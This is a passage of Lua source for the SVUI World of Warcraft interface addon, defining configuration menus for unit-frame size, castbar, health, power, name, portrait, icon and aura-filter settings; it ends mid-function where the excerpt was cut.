--[[ ########################################################## S V U I By: Munglunch ########################################################## LOCALIZED LUA FUNCTIONS ########################################################## ]]-- --[[ GLOBALS ]]-- local _G = _G; local unpack = _G.unpack; local select = _G.select; local assert = _G.assert; local type = _G.type; local error = _G.error; local pcall = _G.pcall; local print = _G.print; local ipairs = _G.ipairs; local pairs = _G.pairs; local next = _G.next; local rawset = _G.rawset; local rawget = _G.rawget; local tostring = _G.tostring; local tonumber = _G.tonumber; local getmetatable = _G.getmetatable; local setmetatable = _G.setmetatable; local tinsert = _G.tinsert; local table = _G.table; local string = _G.string; local upper = string.upper; local gsub = string.gsub; --[[ TABLE METHODS ]]-- local tsort = table.sort; local NONE = _G.NONE; local GetSpellInfo = _G.GetSpellInfo; local collectgarbage = _G.collectgarbage; --[[ ########################################################## GET ADDON DATA ########################################################## ]]-- local SV = _G["SVUI"]; local L = SV.L; local MOD = SV.UnitFrames; if(not MOD) then return end; local _, SVUIOptions = ...; local Schema = MOD.Schema; local ACD = LibStub("AceConfigDialog-1.0"); local DEFAULT_COLOR = {["r"] = 1, ["g"] = 0, ["b"] = 0}; local STYLE_SELECT = {["coloredIcon"] = L["Colored Icon"], ["texturedIcon"] = L["Textured Icon"], [""] = NONE}; local POSITION_SELECT = { ["TOPLEFT"] = "TOPLEFT", ["TOPRIGHT"] = "TOPRIGHT", ["BOTTOMLEFT"] = "BOTTOMLEFT", ["BOTTOMRIGHT"] = "BOTTOMRIGHT", ["LEFT"] = "LEFT", ["RIGHT"] = "RIGHT", ["TOP"] = "TOP", ["BOTTOM"] = "BOTTOM" }; local ANCHOR_SELECT = { ["LEFT"] = "LEFT", ["RIGHT"] = "RIGHT", ["TOP"] = "TOP", ["BOTTOM"] = "BOTTOM" }; local textStringFormats = { ["none"] = "None", ["current"] = "Current", ["deficit"] = "Deficit", ["percent"] = "Percent", ["curpercent"] = "Current - Percent", ["curmax"] = "Current - Maximum", ["curmax-percent"] = "Current - Maximum | %", }; local FRAME_MAP = { ["player"] = "SVUI_Player", ["target"] = "SVUI_Target", ["targettarget"] = "SVUI_TargetTarget", ["pet"] = "SVUI_Pet", ["pettarget"] = "SVUI_PetTarget", ["focus"] = "SVUI_Focus", ["focustarget"] = "SVUI_FocusTarget", }; local tempFilterTable, watchedBuffs, filterList = {}, {}, {}; if(not SV.db.Filters.PetBuffWatch) then SV.db.Filters.PetBuffWatch = {} end if(not SV.db.Filters.BuffWatch) then SV.db.Filters.BuffWatch = {} end local function CacheWatchedBuffs(data) wipe(watchedBuffs) for spellID, watchData in pairs(data) do tinsert(watchedBuffs, watchData) end end local function SetWatchedBuff(stringID, id, data, enable, point, color, anyUnit) if(not data[id]) then data[stringID] = {["enable"] = enable, ["id"] = id, ["point"] = point, ["color"] = color, ["anyUnit"] = anyUnit} else data[stringID]["id"] = id; data[stringID]["enable"] = enable; data[stringID]["point"] = point; data[stringID]["color"] = color; data[stringID]["anyUnit"] = anyUnit; end end local function UpdateBuffWatch() MOD:SetUnitFrame("focus") MOD:SetGroupFrame("raid") MOD:SetGroupFrame("party") end local function UpdatePetBuffWatch() MOD:SetUnitFrame("pet") MOD:SetGroupFrame("raidpet") end local unitFonts = { ["unitaurabar"] = { order = 1, name = "Unitframe AuraBar", desc = "Used on unit aurabars." }, ["unitaura"] = { order = 2, name = "Unitframe Aura", desc = "Used on unit frames for auras (normal scale)." }, ["unitaurasmall"] = { order = 3, name = "Unitframe Aura (Small)", desc = "Used on unit frames for auras (small scale)." }, ["unitprimary"] = { order = 4, name = "Unitframe Values", desc = "Used on all primary unit frames for health, power and misc values.\nUnits: player, pet, target, focus, boss and arena" }, ["unitsecondary"] = { order = 5, name = "Unitframe Values", desc = "Used on all non-primary unit frames for health, power and misc values.\nUnits: pettarget, targettarget, focustarget, party, raid, raidpet, tank and assist." }, }; --[[ ########################################################## HELPER FUNCTIONS ########################################################## ]]-- function SVUIOptions:SetSizeConfigGroup(gridMode, unitName) local sizeGroup = { order = 2, guiInline = true, type = "group", name = L["Size Settings"], args = {} } if(gridMode) then sizeGroup.args = { size = { order = 1, name = L["Grid Size"], type = "range", min = 10, max = 100, step = 1, width = 'full', get = function(key) return SV.db.UnitFrames[unitName].grid[key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "grid"); MOD:SetGroupFrame(unitName) end, }, spacer1 = { order = 2, name = "", type = "description", width = "full", }, wrapXOffset = { order = 3, type = "range", name = L["Horizontal Spacing"], min = 0, max = 50, step = 1, get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, wrapYOffset = { order = 4, type = "range", name = L["Vertical Spacing"], min = 0, max = 50, step = 1, get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, } else sizeGroup.args = { width = { order = 1, name = L["Width"], type = "range", min = 10, max = 500, step = 1, width = 'full', get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, height = { order = 2, name = L["Height"], type = "range", min = 10, max = 500, step = 1, width = 'full', get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, spacer1 = { order = 3, name = "", type = "description", width = "full", }, wrapXOffset = { order = 4, type = "range", name = L["Horizontal Spacing"], min = 0, max = 50, step = 1, width = 'full', get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, wrapYOffset = { order = 5, type = "range", name = L["Vertical Spacing"], min = 0, max = 50, step = 1, width = 'full', get = function(key) return SV.db.UnitFrames[unitName][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName); MOD:SetGroupFrame(unitName) end, }, } end return sizeGroup end function SVUIOptions:SetCastbarConfigGroup(updateFunction, unitName, count) local configTable = { order = 800, type = "group", name = L["Castbar"], get = function(key) return SV.db.UnitFrames[unitName]["castbar"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "castbar") updateFunction(MOD, unitName, count) end, args = { enable = { type = "toggle", order = 1, name = L["Enable"] }, commonGroup = { order = 2, guiInline = true, type = "group", name = L["Base Settings"], args = { forceshow = { order = 1, name = SHOW.." / "..HIDE, type = "execute", func = function() local v = unitName:gsub("(.)", upper, 1) v = "SVUI_"..v; v = v:gsub("t(arget)", "T%1") if count then for w = 1, count do local castbar = _G[v..w].Castbar; if not castbar.oldHide then castbar.oldHide = castbar.Hide; castbar.Hide = castbar.Show; castbar:Show() else castbar.Hide = castbar.oldHide; castbar.oldHide = nil; castbar:Hide() castbar.lastUpdate = 0 end end else local castbar = _G[v].Castbar; if not castbar.oldHide then castbar.oldHide = castbar.Hide; castbar.Hide = castbar.Show; castbar:Show() else castbar.Hide = castbar.oldHide; castbar.oldHide = nil; castbar:Hide() castbar.lastUpdate = 0 end end end, }, icon = { order = 2, name = L["Icon"], type = "toggle" }, latency = { order = 3, name = L["Latency"], type = "toggle" }, spark = { order = 4, type = "toggle", name = L["Spark"] }, } }, sizeGroup = { order = 3, guiInline = true, type = "group", name = L["Size Settings"], args = { matchFrameWidth = { order = 1, name = L["Auto Width"], desc = "Force the castbar to ALWAYS match its unitframes width.", type = "toggle", }, matchsize = { order = 2, type = "execute", name = L["Match Frame Width"], desc = "Set the castbar width to match its unitframe.", func = function() SV.db.UnitFrames[unitName]["castbar"]["width"] = SV.db.UnitFrames[unitName]["width"] updateFunction(MOD, unitName, count) end }, width = { order = 3, name = L["Width"], type = "range", width = "full", min = 50, max = 600, step = 1, disabled = function() return SV.db.UnitFrames[unitName]["castbar"].matchFrameWidth end }, height = { order = 4, name = L["Height"], type = "range", width = "full", min = 10, max = 85, step = 1 }, } }, colorGroup = { order = 4, type = "group", guiInline = true, name = L["Custom Coloring"], args = { useCustomColor = { type = "toggle", order = 1, name = L["Enable"] }, castingColor = { order = 2, name = L["Custom Bar Color"], type = "color", get = function(key) local color = SV.db.UnitFrames[unitName]["castbar"]["castingColor"] return color[1], color[2], color[3], color[4] end, set = function(key, rValue, gValue, bValue) SV.db.UnitFrames[unitName]["castbar"]["castingColor"] = {rValue, gValue, bValue} MOD:RefreshUnitFrames() end, disabled = function() return not SV.db.UnitFrames[unitName]["castbar"].useCustomColor end }, sparkColor = { order = 3, name = L["Custom Spark Color"], type = "color", get = function(key) local color = SV.db.UnitFrames[unitName]["castbar"]["sparkColor"] return color[1], color[2], color[3], color[4] end, set = function(key, rValue, gValue, bValue) SV.db.UnitFrames[unitName]["castbar"]["sparkColor"] = {rValue, gValue, bValue} MOD:RefreshUnitFrames() end, disabled = function() return not SV.db.UnitFrames[unitName]["castbar"].useCustomColor end }, } }, formatGroup = { order = 4, guiInline = true, type = "group", name = L["Text Settings"], args = { format = { order = 1, type = "select", name = L["Format"], values = { ["CURRENTMAX"] = L["Current / Max"], ["CURRENT"] = L["Current"], ["REMAINING"] = L["Remaining"] } }, } } } } if(unitName == "player") then configTable.args.commonGroup.args.ticks = { order = 6, type = "toggle", name = L["Ticks"], desc = L["Display tick marks on the castbar."] } configTable.args.commonGroup.args.displayTarget = { order = 7, type = "toggle", name = L["Display Target"], desc = L["Display the target of your current cast."] } end return configTable end function SVUIOptions:SetMiscConfigGroup(partyRaid, updateFunction, unitName, count) local miscGroup = { order = 99, type = "group", name = L["Misc Text"], set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); local tag = "" local pc = SV.db.UnitFrames[unitName]["formatting"].threat and "[threat]" or ""; tag = tag .. pc; local ap = SV.db.UnitFrames[unitName]["formatting"].absorbs and "[absorbs]" or ""; tag = tag .. ap; local cp = SV.db.UnitFrames[unitName]["formatting"].incoming and "[incoming]" or ""; tag = tag .. cp; MOD:ChangeDBVar(tag, "tags", unitName, "misc"); updateFunction(MOD, unitName, count) end, args = { incoming = { order = 1, name = L["Show Incoming Heals"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].incoming end, }, absorbs = { order = 2, name = L["Show Absorbs"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].absorbs end, }, threat = { order = 3, name = L["Show Threat"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].threat end, }, xOffset = { order = 4, type = "range", width = "full", name = L["Misc Text X Offset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1, get = function() return SV.db.UnitFrames[unitName]["formatting"].xOffset end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); end, }, yOffset = { order = 5, type = "range", width = "full", name = L["Misc Text Y Offset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1, get = function() return SV.db.UnitFrames[unitName]["formatting"].yOffset end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); end, }, } } return miscGroup end function SVUIOptions:SetHealthConfigGroup(partyRaid, updateFunction, unitName, count) local healthOptions = { order = 100, type = "group", name = L["Health"], get = function(key) return SV.db.UnitFrames[unitName]["health"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "health"); updateFunction(MOD, unitName, count) end, args = { commonGroup = { order = 1, type = "group", guiInline = true, name = L["Base Settings"], args = { position = { type = "select", order = 1, name = L["Text Position"], desc = L["Set the anchor for this bars value text"], values = SV.PointIndexes }, xOffset = { order = 2, type = "range", name = L["Text xOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, yOffset = { order = 3, type = "range", name = L["Text yOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, spacer1 = { order = 4, name = "", type = "description", width = "full", }, reversed = { type = "toggle", order = 5, name = L["Reverse Fill"], desc = L["Invert this bars fill direction"] }, } }, formatGroup = { order = 2, type = "group", guiInline = true, name = L["Text Settings"], set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); local tag = "" local pc = SV.db.UnitFrames[unitName]["formatting"].health_colored and "[health:color]" or ""; tag = tag .. pc; local pt = SV.db.UnitFrames[unitName]["formatting"].health_type; if(pt and pt ~= "none") then tag = tag .. "[health:" .. pt .. "]" end MOD:ChangeDBVar(tag, "tags", unitName, "health"); updateFunction(MOD, unitName, count) end, args = { health_colored = { order = 1, name = L["Colored"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].health_colored end, desc = L["Use various name coloring methods"] }, health_type = { order = 3, name = L["Text Format"], type = "select", get = function() return SV.db.UnitFrames[unitName]["formatting"].health_type end, desc = L["TEXT_FORMAT_DESC"], values = textStringFormats, } } }, colorGroup = { order = 3, type = "group", guiInline = true, name = L["Color Settings"], args = { classColor = { order = 1, type = "toggle", name = L["Class Health"], desc = L["Color health by classcolor or reaction."], }, valueColor = { order = 2, type = "toggle", name = L["Health By Value"], desc = L["Color health by amount remaining."], }, classBackdrop = { order = 3, type = "toggle", name = L["Class Backdrop"], desc = L["Color the health backdrop by class or reaction."], }, configureButton = { order = 4, name = L["Coloring"], type = "execute", width = 'full', func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "healthGroup") end }, } } } } if SV.db.UnitFrames[unitName].health.orientation then healthOptions.args.commonGroup.args.orientation = { type = "select", order = 6, name = L["Orientation"], desc = L["Direction the health bar moves when gaining/losing health."], values = {["HORIZONTAL"] = L["Horizontal"], ["VERTICAL"] = L["Vertical"]} } end if partyRaid then healthOptions.args.commonGroup.args.frequentUpdates = { type = "toggle", order = 7, name = L["Frequent Updates"], desc = L["Rapidly update the health, uses more memory and cpu. Only recommended for healing."] } end return healthOptions end function SVUIOptions:SetPowerConfigGroup(playerTarget, updateFunction, unitName, count) local powerOptions = { order = 200, type = "group", name = L["Power"], get = function(key) return SV.db.UnitFrames[unitName]["power"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "power"); updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Power Bar Enabled"]}, commonGroup = { order = 2, type = "group", guiInline = true, name = L["Base Settings"], args = { detached = { type = "toggle", order = 1, name = L["Detached"], desc = L["Detach the power bar from the unit frame."] }, anchor = { type = "select", order = 2, name = L["Bar Position"], desc = L["Set direction to anchor this bar"], values = ANCHOR_SELECT }, height = { type = "range", name = L["Height"], width = 'full', order = 4, min = 3, max = 250, step = 1 }, width = { type = "range", name = L["Width"], width = 'full', order = 5, min = 3, max = 250, step = 1 }, } }, textGroup = { order = 3, type = "group", guiInline = true, name = L["Text Settings"], args = { position = { type = "select", order = 1, name = L["Text Position"], desc = L["Set the anchor for this bars value text"], values = SV.PointIndexes }, xOffset = { order = 2, type = "range", name = L["Text xOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, yOffset = { order = 3, type = "range", name = L["Text yOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, } }, formatGroup = { order = 4, type = "group", guiInline = true, name = L["Text Formatting"], set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); local tag = "" local cp = SV.db.UnitFrames[unitName]["formatting"].power_class and "[classpower]" or ""; tag = tag .. cp; local ap = SV.db.UnitFrames[unitName]["formatting"].power_alt and "[altpower]" or ""; tag = tag .. ap; local pc = SV.db.UnitFrames[unitName]["formatting"].power_colored and "[power:color]" or ""; tag = tag .. pc; local pt = SV.db.UnitFrames[unitName]["formatting"].power_type; if(pt and pt ~= "none") then tag = tag .. "[power:" .. pt .. "]" end MOD:ChangeDBVar(tag, "tags", unitName, "power"); updateFunction(MOD, unitName, count) end, args = { power_colored = { order = 1, name = L["Colored"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].power_colored end, desc = L["Use various name coloring methods"] }, power_class = { order = 2, name = L["Show Class Power"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].power_class end, }, power_alt = { order = 3, name = L["Show Alt Power"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].power_alt end, }, power_type = { order = 4, name = L["Text Format"], type = "select", get = function() return SV.db.UnitFrames[unitName]["formatting"].power_type end, desc = L["TEXT_FORMAT_DESC"], values = textStringFormats, } } }, colorGroup = { order = 5, type = "group", guiInline = true, name = L["Color Settings"], args = { classColor = { order = 1, type = "toggle", name = L["Class Power"], desc = L["Color power by classcolor or reaction."], }, configureButton = { order = 2, name = L["Coloring"], type = "execute", width = 'full', func = function() ACD:SelectGroup(SV.NameID, "UnitFrames", "commonGroup", "baseGroup", "allColorsGroup", "powerGroup") end }, } } } } if SV.db.UnitFrames[unitName].power.orientation then powerOptions.args.commonGroup.args.orientation = { type = "select", order = 3, name = L["Orientation"], desc = L["Direction the power bar moves when gaining/losing power."], values = {["HORIZONTAL"] = L["Horizontal"], ["VERTICAL"] = L["Vertical"]} } end return powerOptions end function SVUIOptions:SetNameConfigGroup(updateFunction, unitName, count) local k = { order = 400, type = "group", name = L['Name'], get = function(key) return SV.db.UnitFrames[unitName]["name"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "name"); updateFunction(MOD, unitName, count) end, disabled = function() if(SV.db.UnitFrames[unitName].grid and SV.db.UnitFrames[unitName].grid.enable) then return true end return false end, args = { description = { order = 1, name = function() if(SV.db.UnitFrames[unitName].grid and SV.db.UnitFrames[unitName].grid.enable) then return L['Name Options Disabled While in Grid Mode'] end return '' end, type = "description", width = "full", }, enable = { type = "toggle", order = 2, name = L["Unit Name Enabled"], get = function(key) return SV.db.UnitFrames[unitName]["name"].tags ~= "" end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); local tag = "" if(value == true) then tag = SV.db.UnitFrames[unitName]["formatting"].name_colored and "[name:color]" or ""; local length = SV.db.UnitFrames[unitName]["formatting"].name_length; tag = tag .. "[name:" .. length .. "]" local lvl = SV.db.UnitFrames[unitName]["formatting"].smartlevel and "[smartlevel]" or ""; tag = tag .. lvl end MOD:ChangeDBVar(tag, "tags", unitName, "name"); updateFunction(MOD, unitName, count) end, }, commonGroup = { order = 3, type = "group", guiInline = true, name = L["Base Settings"], args = { position = { type = "select", order = 1, name = L["Text Position"], desc = L["Set the anchor for this units name text"], values = SV.PointIndexes }, xOffset = { order = 2, type = "range", name = L["Text xOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, yOffset = { order = 3, type = "range", name = L["Text yOffset"], desc = L["Offset position for text."], min = -300, max = 300, step = 1 }, } }, fontGroup = { order = 4, type = "group", guiInline = true, name = L["Fonts"], set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "name"); MOD:RefreshAllUnitMedia() end, args = { font = { type = "select", dialogControl = "LSM30_Font", order = 0, name = L["Default Font"], desc = L["The font used to show unit names."], values = AceGUIWidgetLSMlists.font }, fontOutline = { order = 1, name = L["Font Outline"], desc = L["Set the font outline."], type = "select", values = {["NONE"] = L["None"], ["OUTLINE"] = "OUTLINE", ["MONOCHROMEOUTLINE"] = "MONOCROMEOUTLINE", ["THICKOUTLINE"] = "THICKOUTLINE"} }, fontSize = { order = 2, name = L["Font Size"], desc = L["Set the font size."], type = "range", min = 6, max = 22, step = 1 } } }, formatGroup = { order = 5, type = "group", guiInline = true, name = L["Text Settings"], set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "formatting"); local tag = "" tag = SV.db.UnitFrames[unitName]["formatting"].name_colored and "[name:color]" or ""; local length = SV.db.UnitFrames[unitName]["formatting"].name_length; tag = tag .. "[name:" .. length .. "]" local lvl = SV.db.UnitFrames[unitName]["formatting"].smartlevel and "[smartlevel]" or ""; tag = tag .. lvl MOD:ChangeDBVar(tag, "tags", unitName, "name"); updateFunction(MOD, unitName, count) end, args = { name_colored = { order = 1, name = L["Colored"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].name_colored end, desc = L["Use various name coloring methods"] }, smartlevel = { order = 2, name = L["Unit Level"], type = "toggle", get = function() return SV.db.UnitFrames[unitName]["formatting"].smartlevel end, desc = L["Display the units level"] }, name_length = { order = 3, name = L["Name Length"], desc = L["TEXT_FORMAT_DESC"], type = "range", get = function() return SV.db.UnitFrames[unitName]["formatting"].name_length end, min = 1, max = 30, step = 1 } } } } } return k end local portraitStyles = {["2D"] = L["2D"], ["3D"] = L["3D"], ["3DOVERLAY"] = L["3D Overlay"]}; function SVUIOptions:SetPortraitConfigGroup(updateFunction, unitName, count) local k = { order = 400, type = "group", name = L["Portrait"], get = function(key) return SV.db.UnitFrames[unitName]["portrait"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "portrait") updateFunction(MOD, unitName, count) end, args = { enable = { type = "toggle", order = 1, name = L["Unit Portrait Enabled"] }, styleGroup = { order = 2, type = "group", guiInline = true, name = L["Base Settings"], args = { style = { order = 1, type = "select", name = L["Style"], desc = L["Select the display method of the portrait. NOTE: if overlay is set then only 3D will be available"], values = portraitStyles }, width = { order = 2, type = "range", name = L["Width"], min = 15, max = 150, step = 1, disabled = function() return SV.db.UnitFrames[unitName]["portrait"].style == "3DOVERLAY" end } } }, modGroup = { order = 3, type = "group", guiInline = true, name = L["3D Settings (Reload required to take affect)"], disabled = function() return SV.db.UnitFrames[unitName]["portrait"].style == "2D" end, args = { rotation = { order = 1, type = "range", name = L["Model Rotation"], min = 0, max = 360, step = 1 }, camDistanceScale = { order = 2, type = "range", name = L["Camera Distance Scale"], desc = L["How far away the portrait is from the camera."], min = 0.01, max = 4, step = 0.01 }, } } } } return k end function SVUIOptions:SetIconConfigGroup(updateFunction, unitName, count) local iconGroup = SV.db.UnitFrames[unitName]["icons"] local grouporder = 1 local k = { order = 5000, type = "group", name = L["Icons"], get = function(key) return SV.db.UnitFrames[unitName]["icons"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons") updateFunction(MOD, unitName, count) end, args = {} }; if(iconGroup["classIcon"]) then k.args.classIcon = { order = grouporder, type = "group", guiInline = true, name = L["Class Icons"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["classIcon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "classIcon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["raidicon"]) then k.args.raidicon = { order = grouporder, type = "group", guiInline = true, name = L["Raid Marker"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["raidicon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "raidicon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["combatIcon"]) then k.args.combatIcon = { order = grouporder, type = "group", guiInline = true, name = L["Combat"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["combatIcon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "combatIcon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["restIcon"]) then k.args.restIcon = { order = grouporder, type = "group", guiInline = true, name = L["Resting"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["restIcon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "restIcon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["classicon"]) then k.args.classicon = { order = grouporder, type = "group", guiInline = true, name = L["Class"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["classicon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "classicon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["eliteicon"]) then k.args.eliteicon = { order = grouporder, type = "group", guiInline = true, name = L["Elite / Rare"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["eliteicon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "eliteicon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["roleIcon"]) then k.args.roleIcon = { order = grouporder, type = "group", guiInline = true, name = L["Role"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["roleIcon"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "roleIcon") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end if(iconGroup["raidRoleIcons"]) then k.args.raidRoleIcons = { order = grouporder, type = "group", guiInline = true, name = L["Leader / MasterLooter"], get = function(key) return SV.db.UnitFrames[unitName]["icons"]["raidRoleIcons"][key[#key]] end, set = function(key, value) MOD:ChangeDBVar(value, key[#key], unitName, "icons", "raidRoleIcons") updateFunction(MOD, unitName, count) end, args = { enable = {type = "toggle", order = 1, name = L["Enable"]}, attachTo = {type = "select", order = 2, name = L["Position"], values = SV.PointIndexes}, spacer = { order = 3, name = "", type = "description", width = "full"}, size = {type = "range", name = L["Size"], order = 3, min = 8, max = 60, step = 1}, xOffset = {order = 4, type = "range", name = L["xOffset"], min = -300, max = 300, step = 1}, yOffset = {order = 5, type = "range", name = L["yOffset"], min = -300, max = 300, step = 1} } } grouporder = grouporder + 1 end return k end local BoolFilters = { ['player'] = true, ['pet'] = true, ['boss'] = true, ['arena'] = true, ['party'] = true, ['raid'] = true, ['raidpet'] = true, }; local function setAuraFilteringOptions(configTable, unitName, auraType, updateFunction, isPlayer) if BoolFilters[unitName] then configTable.filterGroup = { order = 20, guiInline = true, type = "group", name = L["Aura filtering..."], args = { filterWhiteList = { order = 1, type = "toggle", name = L["Only White Listed"], desc = L["Only show auras that are on the whitelist."], get = function(key)return SV.db.UnitFrames[unitName][auraType].filterWhiteList end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterWhiteList = value; if(value) then SV.db.UnitFrames[unitName][auraType].filterPlayer = false; SV.db.UnitFrames[unitName][auraType].filterDispellable = false; SV.db.UnitFrames[unitName][auraType].filterInfinite = false; SV.db.UnitFrames[unitName][auraType].filterRaid = false; end updateFunction(MOD, unitName) end, }, filterPlayer = { order = 2, type = "toggle", name = L["From You"], desc = L["Only show auras that were cast by you."], get = function(key) return SV.db.UnitFrames[unitName][auraType].filterPlayer end, set = function(key, value) SV.db.UnitFrames[unitName][auraType].filterPlayer = value; updateFunction(MOD, unitName) end, disabled = function() return SV.db.UnitFrames[unitName][auraType].filterWhiteList end, }, filterDispellable = { order = 3, type = "toggle", name = L["You Can Remove"], desc = L["Only show auras that can be removed by you. (example: Purge, Dispel)"], get = function(key) return SV.db.UnitFrames[unitName][auraType].filterDispellable end, set = function(key, value) 